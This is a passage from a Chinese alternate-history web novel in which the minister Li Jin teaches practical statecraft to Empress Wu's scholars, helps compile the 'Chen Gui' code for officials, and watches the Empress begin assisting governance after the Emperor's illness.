李瑾不慌不忙,放下茶盏,缓缓道:“刘君此问,切中要害。所谓‘奇技淫巧’,若不能利国利民,自然不值一提。然, 何 为 ‘ 巧’? 昔 公 输 子 削 木 为 鹊, 三 日 不 下, 可 谓 巧 矣, 然 于 国 于 民 无 益, 故 墨 子 以 为 不 如 为 车 辔 之 利。 今 日 ‘ 格 物 所’ 所 研 所 制, 无 论 是 新 式 农 具、 灌 溉 筒 车, 还 是 改 良 海 船、 明 玻 新 纸, 乃 至 前 番 献 上 的 牛 痘 之 法, 哪 一 样 不 是 直 接 关 乎 农 桑 生 产、 商 贸 畅 通、 民 生 福 祉 与 国 家 安 全? 此 等 ‘ 巧’, 利 在 当 代, 功 在 千 秋, 如 何 能 以 ‘ 淫 巧’ 视 之?”
他先以墨子典故区分“有益之巧”与“无益之巧”,为“实学”正名。
“至于‘重利坏淳朴’,” 李瑾继续道,“ 孔 子 亦 言 ‘ 因 民 之 所 利 而 利 之’。 圣 人 不 讳 言 利, 讳 的 是 不 义 之 利, 是 与 民 争 利。 朝 廷 推 行 新 政, 鼓 励 工 商, 开 拓 海 贸, 所 求 之 ‘ 利’, 是 增 加 国 家 赋 税, 充 实 府 库, 以 便 更 好 地 修 文 教, 养 军 旅, 赈 灾 荒, 惠 及 万 民。 此 乃 ‘ 大 利’, 亦 是 ‘ 公 利’。 百 姓 因 此 得 以 安 居 乐 业, 家 给 人 足, 民 风 自 然 趋 于 淳 厚, 何 来 ‘ 坏 淳 朴’ 之 说? 反 之, 若 国 用 不 足, 民 生 凋 敝, 饿 殍 遍 野, 又 何 谈 ‘ 淳 朴’? 那 是 穷 困 与 绝 望。**”
他引用孔子之言,区分“公利”与“私利”,将“实学新政”追求的目标定义为惠及全民的“大利”,反驳了道德指控。
“故我以为,” 李瑾总结道,“ 实 学 与 经 史, 犹 如 车 之 两 轮, 鸟 之 双 翼, 不 可 偏 废。 经 史 明 道, 定 方 向, 塑 人 心; 实 学 务 实, 强 国 力, 厚 民 生。 二 者 结 合, 方 是 治 国 之 完 整 之 道。 皇 后 殿 下 ‘ 建 言 十 二 事’, 劝 农 桑、 广 言 路 是 务 实, 兴 学 校、 改 礼 法 是 明 道, 正 是 此 种 结 合 的 体 现。 吾 辈 为 臣 者, 当 助 陛 下、 皇 后 殿 下, 将 此 ‘ 道’ 与 ‘ 术’ 更 好 地 融 为 一 体, 推 而 行 之。”
他最后将“实学”拔高到与“经史”并列的高度,并巧妙地将武媚娘的“建言十二事”作为二者结合的典范,既回应了质疑,也提升了“北门学士”未来工作的意义。
刘祎之闻言,若有所思,缓缓点头。元万顷、范履冰、周思茂也露出深思的神色。李瑾这番话,条理清晰,引经据典却又紧扣现实,为他们打开了一扇新的思考窗口。
接下来,范履冰问及“格物所”具体如何运作,如何将工匠的“巧思”转化为可推广的“实利”。周思茂则对“海贸”战略及其对国内经济的影响更感兴趣。元万顷则关心“新学”思想如何与文章辞章结合,更好地为朝廷“喉舌”服务。
李瑾一一耐心解答。他带四人参观了藏书楼中收藏的部分“寰宇图”、海船模型、新式农具图纸,甚至一些初步的物理、化学实验记录(用他们能理解的方式解释),让他们对“实学”有了更直观的认识。他阐述了“格物所”从需求调研、匠人创意收集、试验改进、小范围试用到最后量产推广的流程,强调了“数据”和“实效”在决策中的重要性。他分析了海贸对刺激手工业、增加就业、引进新作物技术的巨大潜力,也坦承其中存在的风险与监管难题。对于文章之道,他提出“ 文 以 载 道, 亦 当 明 实。 未 来 朝 廷 文 告、 政 论, 除 了 辞 章 之 美, 更 应 注 重 数 据 的 准 确、 逻 辑 的 严 密、 与 对 实 际 问 题 的 针 对 性。 要 能 用 清 晰 有 力 的 文 字, 将 复 杂 的 政 策 与 道 理, 阐 释 给 天 下 人 听。”
整整一个下午,静室内的讨论热烈而深入。李瑾不仅传授知识,更在引导一种 重 实 证、 讲 逻 辑、 看 长 远、 求 实 效 的思维方式。他鼓励质疑,也欢迎辩论。四位学士最初的那份拘谨与隔膜,在思想的碰撞与交流中逐渐消融,取而代之的是一种豁然开朗的兴奋与对这位年轻宰相学识、气度的由衷钦佩。他们开始意识到,皇后让他们接触的,不仅仅是某种“技术”或“政策”,更是一种可能改变他们认知世界、思考问题方式的 新 的 方 **。
日影西斜,讨论暂告一段落。李瑾最后道:“今日与诸君一席谈,某亦受益良多。学问之道,贵在交流,贵在致用。望诸君回到集贤斋,能将这些所思所想,与经史学问相参照,与皇后殿下所关注的时政相结合,写出既有深度、又切实用的文章来。 未 来 朝 局, 新 旧 交 替, 机 遇 与 挑 战 并 存。 诸 君 年 富 力 强, 学 有 所 长, 正 当 其 时。 能 否 在 这 大 时 代 中 有 所 作 为, 不 负 所 学, 不 负 皇 后 殿 下 知 遇 之 恩, 全 在 诸 君 自 身。”
这番话,既是勉励,也暗含期许与警示。四人肃然起身,郑重向李瑾行礼:“ 多 谢 相 爷 教 诲! 学 生 等 必 当 铭 记 于 心, 努 力 进 学, 以 报 皇 后 殿 下、 相 爷 提 携 之 恩!**”
马车载着若有所思、心潮未平的四位学士,再次悄无声息地驶离将作监,返回那深宫中的“集贤斋”。而李瑾独自站在藏书楼的窗前,望着他们离去的方向,目光深邃。他知道,今日的“授课”,仅仅是一个开始。思想的种子已经播下,需要时间生根发芽,也需要现实政治的土壤滋养。但他相信,这几位本就聪慧且有抱负的年轻人,一旦打开了视野,理解了“游戏规则”背后的新逻辑,未来必将成为武媚娘身边不可小觑的力量,也可能成为他推行更大蓝图时,在文化和舆论战线上的重要盟友。
“瑾为学士师”,授人以渔,亦是在编织一张更牢固、更智慧的权力之网。而这网中的每一个人,都将在这场即将到来的、更加波澜壮阔的时代变革中,扮演属于自己的角色。
第88章 共注臣轨书
贞观二十五年的深秋,长安城笼罩在一片肃杀的金黄与萧瑟之中。然而,宫廷与朝堂之内,却因“建言十二事”部分政策的成功推行、皇后智囊团“北门学士”的悄然运转,以及由此带来的微妙权力格局变化,而涌动着一股与季节截然不同的、充满思辨与建构意味的暗流。武媚娘的政治声望与影响力,如同秋日经霜的果实,日渐沉实饱满。但她也清醒地意识到,声望的巩固与权力的延伸,不能仅仅依靠零散的政策成功和个人的政治手腕,更需要一套系统的、能体现其治国理念、并能为广大官员(尤其是中下层官员)所理解、认同乃至遵循的思想准则与行为规范。她需要在意识形态和官僚伦理层面,建立起属于自己的话语体系与评价标准,以引导、约束官员行为,凝聚政治共识,并为未来更深层次的改革铺平道路。
这个念头,在她与“北门学士”的日常探讨中逐渐清晰,也在与李瑾通过隐秘渠道进行的数次“学术交流”中不断深化。李瑾对此深表赞同。他认为,当前朝政虽有“实学”新政推进,但官员队伍的思想混乱、标准不一现象依然严重。许多官员,尤其是中下层和地方官员,对“忠君体国”、“勤政爱民”的理解仍停留在空洞的道德口号,缺乏具体、可操作的指引;对新政的理解也深浅不一,执行中常出现偏差。若能制定一部既秉承儒家正统伦理、又融合当前“新政”精神、且对官员日常行为有具体指导意义的“官箴”或“臣轨”,无疑将对澄清吏治、统一思想、稳定朝局产生深远影响。更重要的是,这能巧妙地将皇后(未来可能还包括皇帝)的政治理念,以“经典注疏”或“行为规范”的“非政治”形式,渗透到官僚体系的毛细血管中。
这个构想,与武媚娘的想法不谋而合。两人很快决定,合作撰写一部名为《臣轨》的著作。由武媚娘提出核心思想、总体框架与政治要求,李瑾则负责结合具体政务、吏治实例与“实学”理念进行阐释、补充和润色,使其既有理论高度,又有实践指导性。具体的文字工作,则可以交由已受“新学”熏陶、文笔渐趋成熟的“北门学士”元万顷、刘祎之等人来承担初稿起草与资料收集。如此,既能保证核心思想不走样,又能发挥各自所长,提高效率,还能进一步锻炼“北门学士”的团队。
这个计划得到了皇帝李治的首肯。当武媚娘以“ 感 念 陛 下 勤 政 爱 民, 欲 与 李 相 及 几 位 学 士 共 同 编 纂 一 部 辑 录 古 今 贤 臣 嘉 言 懿 行、 阐 发 为 臣 之 道 的 册 子, 一 则 为 陛 下 分 忧, 二 则 亦 可 作 为 宫 中 皇 子、 公 主 教 化 之 用, 三 则 或 可 供 朝 中 有 志 之 士 参 考” 为由,向皇帝提出时,李治欣然应允,认为这是皇后“ 贤 德 好 学, 心 系 国 是”** 的又一体现,甚至表示“成书之后,朕要亲自御览”。
有了皇帝的支持,编纂工作便迅速启动。武媚娘亲自拟定了《臣轨》的大纲,分为 同 体、 至 忠、 守 道、 公 正、 匡 谏、 诚 信、 慎 密、 廉 洁、 良 将、 利 人 等十篇。每篇之下,又细分若干条目。她要求,此书不仅要引用《尚书》、《论语》、《礼记》等经典,也要结合《贞观政要》及本朝明君贤臣(尤其是太宗皇帝)的言行,更要将“建言十二事”中体现的“劝农桑薄赋役”、“广言路杜谗言”、“益禀入”、“得进陟”等精神融入其中,并适当采纳“实学”重实效、利民生的理念。
编纂的核心地点,自然放在了“集贤斋”。这里环境僻静,资料相对齐全,且是“北门学士”的大本营。武媚娘每隔数日便会亲临,听取进度汇报,审阅已完成的篇章,提出修改意见,有时甚至会就某个具体条目的表述与元万顷、刘祎之等人进行激烈而深入的辩论。她的思路清晰,要求严格,尤其注重将抽象的道德要求与具体的政务实践相结合。例如,在“ 守 道”篇中讨论官员如何坚持原则时,她不仅要求引用“威武不能屈,富贵不能淫”的古训,更要求加入具体案例,如面对上官不合理命令时应如何依法依规据理力争,同时又要注意方式方法,保全大局;在“ 利 人”篇中,她强调“利人”不能空谈仁政,而要落实到“劝课农桑以足食”、“兴修水利以防旱”、“平准物价以安民”等具体实务,并要求引入“新式农具推广”、“铜匦纳谏”等本朝新近实例。
然而,随着编纂的深入,一些问题也逐渐浮现。“北门学士”虽然才华横溢,经李瑾点拨后对“实学新政”也有了一定理解,但他们终究缺乏高层政治历练和实际处理复杂政务的经验。许多条目写出来,引经据典固然漂亮,但落实到具体操作层面,往往显得理想化或流于空泛,难以真正对官员起到精准的指导作用。尤其是在涉及官员考核、刑狱断案、边镇防务、财政度支等专业性较强的领域,他们的论述更是显得力不从心。
武媚娘敏锐地察觉到了这一点。她知道,要让《臣轨》真正具有权威性和实用性,成为未来官员的“行动指南”,而非一部束之高阁的道德说教,必须引入更强大的、兼具理论与实践经验的外脑。这个人选,非李瑾莫属。他既有深厚的经史功底(能确保思想不偏离正统过远),又有丰富的“督行实务”经验,对吏治、经济、军事、工程等各领域皆有涉猎且见解独到,更重要的是,他深刻理解并认同她试图通过《臣轨》传达的政治理念。
于是,在《臣轨》编纂进入关键的中期阶段,武媚娘通过郭老夫人的渠道,向李瑾发出了“共注”的明确邀请。她将自己对当前稿件不足之处的分析、以及对未来内容深化的期望,写成了一份详细的纲要,连同已完成的数篇初稿,一并秘密送出。
数日后,李瑾的回信与厚厚一沓批注修改意见,被悄然送入集贤斋。在信中,他高度赞扬了武媚娘的总体构思与“北门学士”的前期工作,并针对初稿中存在的主要问题,提出了系统的修改建议:
“ 殿 下 所 虑 极 是。《 臣 轨》 之 要, 不 在 辞 章 华 美, 而 在 能 指 导 行 止, 澄 清 吏 治, 统 一 思 想。 观 诸 稿, 道 德 之 论 多, 实 务 之 规 少; 原 则 之 说 多, 方 法 之 授 少。 此 为 一 病。 臣 之 愚 见, 可 从 以 下 数 端 着 力 改 进:”
“ 一 曰 ‘ 道 ’ ‘ 术 ’ 结 合, 以 ‘ 术 ’ 释 ‘ 道 ’。 如 ‘ 守 道 ’ 篇, 不 仅 要 讲 官 员 当 坚 守 何 种 道 义 原 则, 更 要 具 体 阐 明, 在 面 对 不 同 情 境( 如 上 官 不 法、 同 僚 倾 轧、 民 情 汹 汹) 时, 如 何 运 用 现 有 法 度、 制 度 与 智 慧 来 坚 持 原 则, 保 全 自 身, 完 成 职 责。 可 引 用 本 朝 御 史 如 何 依 法 弹 劾、 地 方 循 吏 如 何 巧 妙 化 解 矛 盾 的 实 例。**”
“ 二 曰 融 入 ‘ 实 学 ’ 精 神, 强 调 实 效 与 数 据。 在 ‘ 廉 洁 ’、 ‘ 利 人 ’ 等 篇 中, 不 仅 要 求 官 员 清 廉 爱 民, 更 要 求 其 懂 得 如 何 有 效 地 ‘ 利 人 ’。 可 加 入 如 何 核 算 赋 役 以 使 民 不 困、 如 何 组 织 工 役 以 提 高 效 率、 如 何 利 用 新 式 农 具 与 技 法 增 产 等 具 体 方 法 论 的 讨 论, 并 强 调 以 实 际 效 果( 如 仓 廪 增 实、 户 口 繁 衍、 诉 讼 减 少) 作 为 检 验 官 员 是 否 称 职 的 重 要 标 准。”
“ 三 曰 区 分 层 级 与 职 司, 增 强 针 对 性。 朝 廷 官 员, 上 至 宰 辅, 下 至 胥 吏, 职 责 不 同,《 臣 轨》 的 要 求 亦 应 有 所 侧 重。 可 在 相 关 篇 章 中, 对 不 同 级 别、 不 同 部 门 的 官 员, 提 出 更 具 体 的 行 为 规 范。 如 对 地 方 亲 民 官, 强 调 巡 行 乡 里、 听 讼 公 平; 对 财 赋 官, 强 调 账 目 清 晰、 杜 绝 侵 欺; 对 边 镇 将 领, 则 在 ‘ 良 将 ’ 篇 中 详 加 阐 述, 不 仅 要 求 忠 勇, 更 要 求 知 晓 天 时 地 利、 善 抚 士 卒、 明 察 敌 情。**”
“ 四 曰 正 面 引 导 与 负 面 禁 戒 相 结 合。 既 要 树 立 贤 臣 楷 模, 阐 明 应 为 之 事; 也 要 列 举 奸 佞 恶 行, 标 明 不 可 为 之 禁 区, 并 指 出 其 危 害。 如 在 ‘ 公 正 ’ 篇, 不 仅 要 讲 公 正 的 重 要 性, 也 要 具 体 描 述 徇 私 枉 法、 任 人 唯 亲 的 种 种 表 现 与 恶 果, 以 作 警 惕。**”
除了这些原则性建议,李瑾还对每一篇初稿都做了密密麻麻的批注。他在“ 同 体”篇旁批注,强调“君臣同体”不仅意味着忠诚,更意味着官员需深刻理解朝廷(皇帝、皇后)的施政意图,并主动创造性地执行;在“ 至 忠”篇,他补充了“忠”于职守、“忠”于百姓亦是“大忠”的观点;在“ 匡 谏”篇,他结合“铜匦”实践,详细论述了进谏的技巧、分寸与朝廷纳谏的责任;在“ 良 将”篇,他更是大段增补,引入“格物所”在军械改良、地图测绘、后勤保障等方面的新思路,要求将领不仅要勇猛,更要善于利用新技术、新工具提升战斗力。
武媚娘仔细研读了李瑾的回信与批注,眼中异彩连连。李瑾的见解,精准地切中了初稿的软肋,并为其注入了急需的“务实”灵魂与“可操作性”血肉。她立刻召集“北门学士”,将李瑾的意见传达下去,要求他们以此为指导,对全书进行大幅度修改和深化。同时,她也指示,在后续编纂中,遇到疑难或需要实务知识支撑之处,可直接以“学术请教”的名义,通过特定渠道向李瑾咨询。
自此,《臣轨》的编纂进入了一个全新的阶段。武媚娘把握思想方向与政治高度,李瑾提供实务智慧与具体方法,“北门学士”则负责文字的雕琢、资料的整合与初稿的撰写。三方通过隐秘而高效的渠道紧密协作。武媚娘与李瑾之间,也就许多具体条目进行了数次深入的“笔谈”,有时是思想的共鸣与补充,有时是视角的差异与辩论,但最终都能在“巩固朝纲、推行新政、利国利民”的大目标下达成一致。这种超越常规君臣、甚至寻常盟友的、在思想建构层面的深度合作,使得他们对彼此的理解、信任与默契,达到了一个前所未有的新高度。
集贤斋的灯火,常常亮至深夜。沙沙的书写声、低声的讨论声、翻阅典籍的哗啦声,交织成一段隐秘而庄严的乐章。一部旨在规范大唐帝国成千上万官员思想与行为的 典 章, 正 在 这 深 宫 一 隅, 在 一 位 皇 后、 一 位 宰 相 与 几 位 年 轻 学 士 的 共 同 努 力 下, 逐 渐 成 型。 它 不 仅 是 一 本 书, 更 是 武 媚 娘 政 治 蓝 图 的 重 要 一 环, 也 是 她 与 李 瑾 同 盟 关 系 深 化 的 又 一 座 里 程 碑**。
秋去冬来,当长安城落下第一场雪的时候,《臣轨》的全书初稿,终于宣告完成。接下来,将是更为精密的修订、润色,以及等待一个合适的时机,将其呈于御前,颁行天下。
第89章 帝疾后听政
贞观二十五年的岁末,比长安城的人们预想中来得更加凛冽,也更为猝不及防。腊月刚至,几场铺天盖地的风雪便席卷了关中平原,将巍峨的皇城也裹挟进一片银装素裹、万籁俱寂的肃杀之中。然而,比这酷寒更令帝国中枢措手不及、忧心忡忡的,是紫宸殿内传出的那个消息—— 陛 下 风 疾 复 发, 且 来 势 汹 汹。 风疾,即后世所谓高血压、中风一类心脑血管疾病,乃李唐皇室隐疾。太宗皇帝晚年便深受其苦,最终因此病缠身,加剧了“丹药”之祸。而今,年轻的皇帝李治,似乎也未能逃脱这家族病根的侵袭。只是谁也没料到,这场病会在他春秋鼎盛之年,在“建言十二事”推行初见成效、朝局看似稳步向前的关口,以如此凶猛之势骤然袭来。
腊月初十深夜,皇帝于紫宸殿批阅奏章时,突感 头 目 眩 晕, 手 足 麻 木, 言 语 亦 稍 有 不 利。** 侍立的内侍惊慌失措,急召太医署当值医官,后又连夜将已回府休息的刘神威等数位顶尖太医悉数召入宫中。立政殿的武媚娘闻讯,顾不得夜深雪大,仅披一件斗篷便匆匆赶至紫宸殿。只见皇帝面色潮红,半倚在榻上,眉头紧锁,神情间既有痛苦,更有难以掩饰的惊怒与一丝……恐惧。他对自己的身体一向颇为自信,此等骤然失能的体验,对一位正值壮年、雄心勃勃的帝王而言,无疑是沉重打击。
太医们会诊后,神色凝重。刘神威向焦急守候在屏风外的皇后及闻讯赶来的几位宰辅(长孙无忌、于志宁、李瑾等)禀报:陛下此乃“ 肝 阳 上 亢, 风 痰 上 扰” 所致,乃风疾急性发作之兆。需立即静养,避风节劳,戒怒戒躁,佐以汤药针灸,徐徐调理,或可缓解。然此病根深蒂固,易反复发作, 万 不 可 再 如 往 日 般 夙 夜 操 劳, 尤 其 是 不 可 再 经 受 重 大 刺 激 与 持 久 的 精 神 紧 张。 否则,后果不堪设想。
消息虽被严密封锁在极小范围内,但皇帝突发重疾、无法临朝的消息,仍如同冬日惊雷,瞬间打破了朝堂那因新政小成而维持的表面平静,在帝国最高权力层激起了巨大的波澜与深重的忧虑。 国 不 可 一 日 无 君。** 皇帝病重,无法视事,堆积如山的奏章、亟待决断的政务、四方边镇的动态、乃至年关节下的各项大典仪制……这一切,该如何处置?
最初的几日,朝会暂停。由 太 尉 长 孙 无 忌 领 衔, 侍 中 褚 遂 良、 中 书 令 于 志 宁、 司 空 李 勣, 以 及 同 中 书 门 下 三 品 李 瑾 等 政 事 堂 宰 辅, 轮 流 赴 紫 宸 殿 外 值 宿, 处 理 最 紧 急 的 军 国 要 务, 并 将 处 理 意 见 简 要 奏 报 卧 榻 上 的 皇 帝 定 夺。 然而,皇帝精神不济,往往只能听个大概,便疲惫地挥手示意“依议”或“再议”,许多事务的决策效率大为降低,且皇帝状态时好时坏,决策的连贯性也成问题。更棘手的是,许多涉及具体人事、财赋乃至礼法的日常政务,并非都紧急到需要宰辅们亲力亲为,却也不能长久积压。
在这种微妙的僵局中,一个身影开始越来越频繁、也越来越深入地出现在紫宸殿的御案之侧—— 皇 后 武 媚 娘。** 自皇帝病发,她便几乎寸步不离地守在紫宸殿暖阁,亲自侍奉汤药,安排太医诊治,安抚皇帝情绪。她的沉着、细致与毫不掩饰的忧急,让病中的皇帝倍感慰藉。更重要的是,当皇帝因精力不济,无法细览奏章,却又对某些政务放心不下时,武媚娘便成了他最重要的“耳目”与“口舌”。
起初,她只是按照皇帝的吩咐,为他诵读一些相对次要的奏疏,或代笔写下几句简单的朱批(如“知道了”、“交某部议”)。皇帝口述,她记录,再交由当值宰相或中书舍人去具体执行。渐渐地,皇帝发现,皇后在诵读奏章时,不仅能口齿清晰,还能在关键处稍作停顿,简要归纳要点,甚至能就某些她了解背景的政务(多与“建言十二事”相关),提出一两点颇为中肯的看法。皇帝偶尔询问她的意见,她总能引经据典,结合实际情况,给出谨慎而不失见地的回答,从无越俎代庖之态,反而处处体现着为君分忧、补阙拾遗的“贤内助”本分。
一次,皇帝精神稍好,看着案头堆积的奏章,叹道:“朕如今这般,诸事繁杂,皆赖诸相公辛劳。然朕心总是不安。” 武媚娘柔声劝慰:“陛下且宽心静养,龙体要紧。诸相公皆是国之柱石,必能妥善处置。若陛下信得过, 妾 愿 为 陛 下 先 行 阅 看 这 些 奏 章, 将 其 分 门 别 类, 注 明 轻 重 缓 急, 并 将 其 中 要 点 与 可 能 的 处 理 方 向, 简 要 摘 录 出 来, 附 于 奏 章 之 侧。 陛 下 只 需 看 这 摘 要, 便 可 了 解 大 概, 若 有 精 力, 再 细 看 原 本, 或 召 宰 辅 询 问, 如 此 可 大 大 节 省 陛 下 精 力, 也 不 至 贻 误 事 机。 不 知 陛 下 以 为 可 行 否?”
这个提议,听起来合情合理,完全是为了减轻病中皇帝的负担。皇帝略一沉吟,看着皇后恳切而担忧的眼神,终于点了点头:“如此……便有劳皇后了。只是, 切 记, 你 只 是 帮 朕 整 理 归 纳, 不 可 擅 作 主 张。 所 有 摘 要 与 意 见, 皆 需 朕 过 目 认 可 后, 方 可 作 数。**”
“妾明白,必当谨守本分,绝不敢僭越。” 武媚娘郑重应下。
自此,武媚娘便正式开始了她“协助理政”的生涯。每日,由中书省送达紫宸殿的奏章,会先经她的手。她在紫宸殿暖阁旁辟出一间静室,作为临时办公之处。她将奏章分为数类: 军 国 急 务( 边 报、 灾 异、 重 大 刑 案 等), 立 刻 呈 送 皇 帝 及 当 值 宰 辅; 日 常 政 务( 地 方 奏 报、 官 员 任 免 建 议、 财 赋 度 支 等), 由 她 先 行 阅 览 摘 要; 礼 仪 祥 瑞、 官 员 谢 恩 等 例 行 文 书, 则 直 接 交 由 中 书 舍 人 按 旧 例 处 理。 对于需要摘要的奏章,她用一手清秀的小楷,在特制的纸条上,简明扼要地写出奏报人、事由、核心请求或问题,并往往在最后附上一两句自己的“初步看法”或“可供参考的处理方向”,这些看法多基于她对相关政策的了解、过往与皇帝讨论政务的经验,有时也会隐晦地引用《臣轨》编纂过程中的一些思考。纸条夹在奏章首页,一目了然。
她的工作效率极高,条理清晰,摘要精准,往往能抓住要害。皇帝翻阅这些附有摘要的奏章,省力太多,对皇后的能力愈发满意和依赖。许多时候,他甚至只需看看皇后的摘要和意见,觉得妥当,便直接朱批“依皇后所拟意见,交某部施行”或“可”。渐渐地,对于一些不那么敏感、或皇后明显熟知的领域(如劝农桑、广言路、后宫事务、部分官员考课)的奏章,皇帝批阅“可”的频率越来越高。皇后摘要中的“初步看法”,也越来越成为实际决策的重要参考,乃至直接依据。
当然,武媚娘极有分寸。凡涉及 重 大 人 事 任 免( 尤 其 是 宰 辅、 六 部 尚 书、 地 方 节 度 使 等)、 军 队 调 动、 皇 室 宗 亲 事 务、 以 及 与 长 孙 无 忌 等 元 老 重 臣 直 接 相 关 的 事 务, 她 的 摘 要 必 定 只 述 事 实, 绝 不 附 加 任 何 倾 向 性 意 见, 并 会 特 别 提 醒 皇 帝 “ 此 事 关 系 重 大, 需 陛 下 圣 裁” 或 “ 宜 召 某 公 共 议”。** 她始终牢记并恪守着自己“辅助者”的定位,将最终裁决权牢牢地、明确地留在皇帝手中。
然而,即便如此,皇后在紫宸殿协助理政、其意见日益受到皇帝重视的消息,仍不可避免地在宰辅重臣的小圈子中传开,并引发了迥然不同的反应。
长孙无忌、褚遂良等人忧心忡忡。他们虽无法直接反对皇帝让皇后帮忙(毕竟是皇帝病中所需),但内心深处对这种“女主干政”苗头的警惕与排斥,达到了新的高度。他们担心,长此以往,皇后会借此机会培植私人势力,架空皇权(至少是他们这些“外朝”宰相的权力),甚至重演“吕后”、“武则天”(此时尚无此先例,但可类比汉朝太后)故事。他们在御前奏对时,言辞更加谨慎,对皇后摘要中涉及他们职权范围的建议,也会更加仔细地审视,甚至偶尔会提出不同看法。但他们也找不到皇后行为有何明显错处——她只是“摘要”、“建议”,且最终决定权在皇帝。
于志宁、李勣等务实派态度则相对平和。他们亲眼所见,皇后理政井井有条,摘要切中肯綮,许多建议确实有利于提高效率、稳定朝局。只要不逾矩,能帮病中的皇帝分担压力,未尝不是好事。他们更关注具体政务的处理是否得当,而非纠结于“内外”之分。
李瑾自然是乐见其成,甚至暗中推动。他通过特定渠道,将自己对某些政务的看法、需要注意的要点,巧妙地融入到与“北门学士”的“学术讨论”中,而这些讨论的成果,又会被“北门学士”在起草文章或为皇后准备资料时,以更学理化的方式呈现出来,间接影响着皇后对某些事务的判断。他也会在政事堂讨论时,对皇后摘要中某些与他理念相符的合理建议,给予明确的支持和进一步的完善,使其更容易被皇帝和同僚接受。他与武媚娘之间,形成了一种无需言明、却高效默契的配合:她在内廷协助皇帝稳定中枢,梳理政务;他在外朝与宰辅周旋,推动落实。皇帝病重带来的权力缝隙,反而为他们的同盟提供了更广阔的运作空间。
腊月廿三,小年。皇帝病情稍稳,但太医仍严禁劳累。积压的政务亟待处理,尤其是年关节下的赏赐、祭祀、外藩朝贺等一应大典仪制,需尽早定夺。这一日,长孙无忌、于志宁、李勣、李瑾等宰辅被召至紫宸殿暖阁外间,隔帘向卧榻上的皇帝奏事。武媚娘坐于帘内御榻之侧,面前小几上堆着已做好摘要分类的奏章。
当商议到明年开春“亲耕籍田”之礼是否因皇帝圣体欠安而需从简或由太子代行时,几位宰辅意见不一。长孙无忌认为礼不可废,可适度从简,但皇帝若不能亲临,宜由太子代行,以显重农固本之意。于志宁则担忧太子年幼,礼仪繁复恐难周全,且皇帝病体未愈,不宜过度操持典礼,建议暂缓或由有司代祭。
皇帝听罢,面露倦色,沉吟不语,目光瞥向身侧的武媚娘。
武媚娘会意,低声对皇帝说了几句,皇帝微微点头。她便转向帘外,声音清晰平和:“诸位相公,陛下有旨。 籍 田 之 礼, 劝 农 桑, 固 国 本, 不 可 轻 废。 然 陛 下 圣 体 确 实 不 宜 劳 顿。 太 子 年 幼, 恐 难 当 大 礼。 不 若 这 样, 明 年 籍 田, 仪 制 可 从 简, 但 典 礼 照 常 举 行。 陛 下 可 于 宫 中 斋 戒 祈 福, 由 司 空 李 勣 代 表 陛 下, 主 持 籍 田 仪 式 的 主 要 环 节; 同 时, 着 太 子 随 行 观 礼, 以 示 重 视 与 传 承。 如 此, 既 不 误 农 时, 彰 显 朝 廷 重 农 之 意, 又 可 保 陛 下 安 心 静 养, 亦 让 太 子 有 所 见 习。 不 知 诸 位 相 公 以 为 如 何?**”
这个折中方案,既照顾了礼法,又考虑了皇帝健康与太子实际情况,还巧妙地抬举了军方重臣李勣(代表皇帝),平衡了各方。更关键的是,她清晰地传达了“陛下有旨”的旨意,虽然这“旨意”显然融合了她自己的思考和提议。
帘外几位宰辅沉默片刻。李勣首先开口道:“皇后殿下所虑周全,老臣认为可行。” 于志宁也点头附议。长孙无忌看了看帘内,又看了看李勣,最终也缓缓道:“皇后殿下安排妥当,老臣无异议。”
“既如此,便依此议,着礼部、太常寺、司农寺速拟细则呈报。” 帘内,皇帝疲惫但欣慰的声音传来,“皇后,其余事务,你也一并与诸相公议了吧,朕听着便是。”
“是,陛下。” 武媚娘恭声应道,然后转向帘外,开始有条不紊地主持商议起接下来的各项政务。她的声音平稳,叙述清晰,对相关典章制度、人员背景、财政数据似乎了然于胸,提出的处理建议也多切实可行,即便偶有宰辅提出不同意见,她也能引据反驳或从善如流,始终保持着对皇帝和诸位重臣的尊重。
暖阁内,药香与墨香混合。帘内,皇后沉稳辅政;帘外,宰辅悉心参议;御榻上,皇帝半阖双目,听着那熟悉而令人安心的声音,处理着一件件关乎帝国运转的政务,心中那股因疾病而生的焦躁与无力感,似乎也渐渐被一种奇异的、混杂着依赖、信任与隐隐复杂情绪的心安所取代。
紫宸殿的这次“帘内听政”,虽非正式朝会,却是一个极具象征意义的信号。它标志着,在皇帝因病无法全权理政的特殊时期,皇后武媚娘,不再仅仅是后宫之主或“贤内助”,而是以一种公开、半正式的方式, 开 始 深 度 参 与 到 帝 国 最 高 行 政 事 务 的 处 理 之 中, 并 在 皇 帝 的 授 权 与 诸 宰 辅 的 见 证 下, 行 使 着 部 分 决 策 辅 助 权。** 尽管她依旧谨慎地保持着“辅助”的姿态,但权力的天平,已因这场突如其来的帝疾,发生了不可逆转的倾斜。一个“帝疾后听政”的崭新局面,已然在贞观二十五年的寒冬中,悄然成形。
第90章 二圣隐成形
贞观二十六年的春天,在一种奇特的、混杂着忧虑、观望与悄然适应的氛围中,悄然降临长安。皇城内的积雪尚未完全消融,枯枝已萌新芽,但比这自然季节更令人感受深刻的,是紫宸殿与立政殿之间那日益牢固、也日益公开化的政治联结,以及由此带来的、朝堂权力运行模式的深刻嬗变。皇帝李治的“风疾”,经过整个正月的精心调养,在太医署(尤其是刘神威)的竭力施为下,急性症状已大为缓解,头目眩晕、手足麻木之感基本消失,言语也恢复了流利。然而,那场大病如同在鼎盛年华的躯体上刻下的一道深痕,终究留下了难以磨灭的影响—— 精 力 大 不 如 前, 无 法 再 如 往 昔 般 熬 夜 批 阅 奏 章、 连 续 主 持 冗 长 朝 议; 精 神 亦 时 有 不 济, 需 长 时 间 静 养 休 憩。 太医再三叮嘱,务必“ 清 心 寡 欲, 节 劳 颐 养”,** 万不可再使心神过度耗损。
身体的客观限制,使得皇帝不得不继续倚重皇后武媚娘“协助理政”。而经过腊月、正月整整两月的磨合与“实习”,武媚娘在紫宸殿暖阁旁那间静室中的角色,早已超越了最初的“奏章摘要员”。她对政务的处理越发娴熟老练,对各类奏章的轻重缓急、关窍要害把握精准,提出的处理建议也越发周全缜密,常常能兼顾法理、人情与实效。更难得的是,她与皇帝之间形成了一种高度的默契。皇帝只需听她简明扼要的汇报,或看她附在奏章上的精要纸条,便能迅速把握全局,做出决断。许多时候,皇帝甚至只需说一句“皇后以为如何?”或“便依皇后所议”,便可了结一桩政务。帝后二人,一卧一坐,一问一答,一批一复,竟将这庞大帝国的日常政务,处理得井井有条,效率甚至比皇帝病前独自操劳时更高。
